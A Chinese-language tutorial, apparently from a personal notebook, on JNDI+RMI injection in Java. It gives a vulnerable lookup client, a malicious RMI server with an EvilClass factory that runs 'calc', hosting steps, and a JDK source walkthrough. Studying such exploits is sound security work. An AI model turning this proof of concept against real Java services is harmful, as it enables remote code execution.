JNDI+RMI 什么是JNDI
JNDI 提供统一的客户端 API,通过不同的JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。
若程序定义了JNDI中的接口,则可以通过该接口的API访问系统的命令服务和目录服务。
JNDI解决的问题/特性 没有之前需要将具体的外部依赖,例如数据库的地址参数写入到Java代码中,程序才能找到具体的数据库地址进行链接。当配置信息变动,就又需要手动去调节。有了JNDI之后,可以不用去管这些配置信息,全都交给J2EE容器来配置和管理,程序员只需要对这些配置和管理进行引用即可。其实就是可以给资源取一个名字,再根据这个名字去找这个资源。
JNDI+RMI注入原理分析 在Java JDK里面提供了5个包给JNDI的功能实现
1 2 3 4 5 javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。 javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类; javax.naming.event:在命名目录服务器中请求事件通知; javax.naming.ldap:提供LDAP支持; javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
1 2 3 4 5 6 InitialContext() InitialContext(boolean lazy) InitialContext(Hashtable<?,?> environment)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Reference(String className) Reference(String className, RefAddr addr) Reference(String className, RefAddr addr, String factory, String factoryLocation) Reference(String className, String factory, String factoryLocation) String url = "http://127.0.0.1:8080" ; Reference reference = new Reference ("test" , "test" , url);
JNDI注入:当开发者在定义JNDI接口初始化时,lookup()方法的参数被外部攻击者可控,攻击者可以将恶意url传入参数,以此劫持被攻击的Java客户端的JNDI请求指向恶意的服务器地址,恶意的资源服务器地址响应了一个恶意Java对象载荷(reference实例 or 序列化实例),对象在被解析实例化,实例化的过程造成了注入攻击。不同的注入方法区别主要就在于利用实例化注入的方式不同。
可以看到远程对象是通过rmi原生的lookup获取到的,而rmi是通过反序列化获取到的远程对象,这时如果客户端系统里有gadget组件,这一步的反序列化就能导致代码执行了。
这一行代码是在jdk8u121开启的,并且是加在RegistryContext里面的,也就是只对了jndi的rmi实现作了限制,新增加了一个if判断,如果com.sun.jndi.rmi.object.trustURLCodebase为true就可以通过codebase加载,因此这个漏洞想要直接利用是有版本限制的,JDK 6u132、7u122、8u113之前可以,高版本也有绕过方法,如利用 LDAP 返回序列化数据,触发本地 Gadget,或者利用本地恶意 Class 作为 Reference Factory,这篇文章不做详细的记录,之后有空再另起一篇。
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
这段代码判断传入的对象,是否满足RemoteReference接口,如果有则getReference()获取reference对象,然后进入getObjectInstance函数。
具体利用流程如下:
1、目标代码中调用了InitialContext.lookup(URI),URI为用户可控的;
2、攻击者设置uri为恶意rmi服务地址;
3、攻击者设置rmi server向目标返回一个reference引用对象,reference对象中指定了一个精心构造的Factory类;
4、目标进行lookup操作远程对象时,获取到动态加载并实例化了这个Factory类,接着调用factory.getObjectInstance()加载外部远程对象实例;
漏洞成因 lookup()参数可控
漏洞代码示例
1 2 3 4 5 6 7 8 9 10 import javax.naming.InitialContext; import javax.naming.NamingException; public class RMIClient { public static void main(String[] args) throws NamingException { InitialContext context = new InitialContext(); String url = "rmi://127.0.0.1:1099/class"; context.lookup(url); } }
String uri = "rmi://127.0.0.1:1099/class"; ``initialContext.lookup(uri); ∴会通过rmi协议访问127.0.0.7:1099/class
攻击代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099); String url = "http://127.0.0.1:1098/"; Reference reference = new Reference("EvilClass", "EvilClass", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("class",referenceWrapper);//class要与客户机rmi同名 } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class EvilClass implements ObjectFactory { static { System.out.println("hello,static~" ); } public EvilClass () throws IOException { System.out.println("constructor~" ); } @Override public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { Runtime.getRuntime().exec("calc" ); System.out.println("hello,getObjectInstance~" ); return null ; } }
1 2 3 4 5 6 7 8 9 10 import java.io.IOException; public class EvilClass{ // 静态代码块, 当类被加载时调用 public EvilClass() throws Exception{ Runtime.getRuntime().exec("calc"); } } //报错了,但是会执行
搭建好了以后,我们先运行服务端,然后将EvilClass编译一下,再使用Python开启一个http服务
javac EvilClass.java,python -m http.server 1908
接着我们再运行客户端,就会发现已经成功执行代码了。
漏洞代码触发链 触发是由lookup,我们就打一个断点调试追踪看看
1 2 3 4 5 6 7 8 9 10 11 12 13 public Object lookup (String var1) throws NamingException { ResolveResult var2 = this .getRootURLContext(var1, this .myEnv); Context var3 = (Context)var2.getResolvedObj(); Object var4; try { var4 = var3.lookup(var2.getRemainingName()); } finally { var3.close(); } return var4; }
首先我们可以看到var1就是我们lookup传入的url,然后我们追踪getRootURLContext方法,它用于解析rmi url并返回上下文信息,我们可以看到他返回的var2,已经把信息拆分了。
Context var3 = (Context)var2.getResolvedObj();接着将var2的getResolvedObj属性赋给var3
目的是为了接下来var3的lookup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public Object lookup (Name var1) throws NamingException { if (var1.isEmpty()) { return new RegistryContext (this ); } else { Remote var2; try { var2 = this .registry.lookup(var1.get(0 )); } catch (NotBoundException var4) { throw new NameNotFoundException (var1.get(0 )); } catch (RemoteException var5) { throw (NamingException)wrapRemoteException(var5).fillInStackTrace(); } return this .decodeObject(var2, var1.getPrefix(1 )); } }
这段代码的作用是查找给定名称的远程对象,并返回解码后的对象
var1是上文传入的RemainingName,也就是我们设置的class,首先会判断是否为空,接着从注册表中查找名称为var1的远程对象
我们去注册表那边看看是怎么个事儿。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public RemoteCall newCall (RemoteObject var1, Operation[] var2, int var3, long var4) throws RemoteException { clientRefLog.log(Log.BRIEF, "get connection" ); Connection var6 = this .ref.getChannel().newConnection(); try { clientRefLog.log(Log.VERBOSE, "create call context" ); if (clientCallLog.isLoggable(Log.VERBOSE)) { this .logClientCall(var1, var2[var3]); } StreamRemoteCall var7 = new StreamRemoteCall (var6, this .ref.getObjID(), var3, var4); try { this .marshalCustomCallData(var7.getOutputStream()); } catch (IOException var9) { throw new MarshalException ("error marshaling custom call data" ); } return var7; } catch (RemoteException var10) { this .ref.getChannel().free(var6, false ); throw var10; } }
Connection var6 = this.ref.getChannel().newConnection();在this.ref.getChannel().newConnection()中创建一个TCPConnection,接着构造一个StreamRemoteCall对象,并在其中远程初始化远程调用的头部信息,
接着就到了调用var3的lookup方法
然后执行decodeObject,解码远程对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private Object decodeObject (Remote var1, Name var2) throws NamingException { try { Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1; return NamingManager.getObjectInstance(var3, var2, this , this .environment); } catch (NamingException var5) { throw var5; } catch (RemoteException var6) { throw (NamingException)wrapRemoteException(var6).fillInStackTrace(); } catch (Exception var7) { NamingException var4 = new NamingException (); var4.setRootCause(var7); throw var4; } }
首先检查var1,也就是我们传入的查找到的远程对象是否是RemoteReference格式的数据如果是,则通过((RemoteReference)var1).getReference()获取远程引用对象,不是,就直接调用var1。
接着进入getObjectInstance
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 public static Object getObjectInstance (Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception { ObjectFactory factory; ObjectFactoryBuilder builder = getObjectFactoryBuilder(); if (builder != null ) { factory = builder.createObjectFactory(refInfo, environment); return factory.getObjectInstance(refInfo, name, nameCtx, environment); } Reference ref = null ; if (refInfo instanceof Reference) { ref = (Reference) refInfo; } else if (refInfo instanceof Referenceable) { ref = ((Referenceable)(refInfo)).getReference(); } Object answer; if (ref != null ) { String f = ref.getFactoryClassName(); if (f != null ) { factory = getObjectFactoryFromReference(ref, f); if (factory != null ) { return factory.getObjectInstance(ref, name, nameCtx, environment); } return refInfo; } else { answer = processURLAddrs(ref, name, nameCtx, environment); if (answer != null ) { return answer; } } } answer = createObjectFromFactories(refInfo, name, nameCtx, environment); return (answer != null ) ? answer : refInfo; }
builder == null,refInfo检查格式,如果是Reference就尝试获取工厂类名,如果ref存在,就用类名创建工厂
返回的结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 static ObjectFactory getObjectFactoryFromReference ( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class clas = null ; try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { } String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null ) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null ) ? (ObjectFactory) clas.newInstance() : null ; }
最后调用newInstance()方法来执行实例
[board]
参考链接:
https://blog.csdn.net/Gherbirthday0916/article/details/136459856
https://www.cnblogs.com/LittleHann/p/17768907.html
来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/dw27qsyn5d8gu1nq 语雀文档ID: 187497177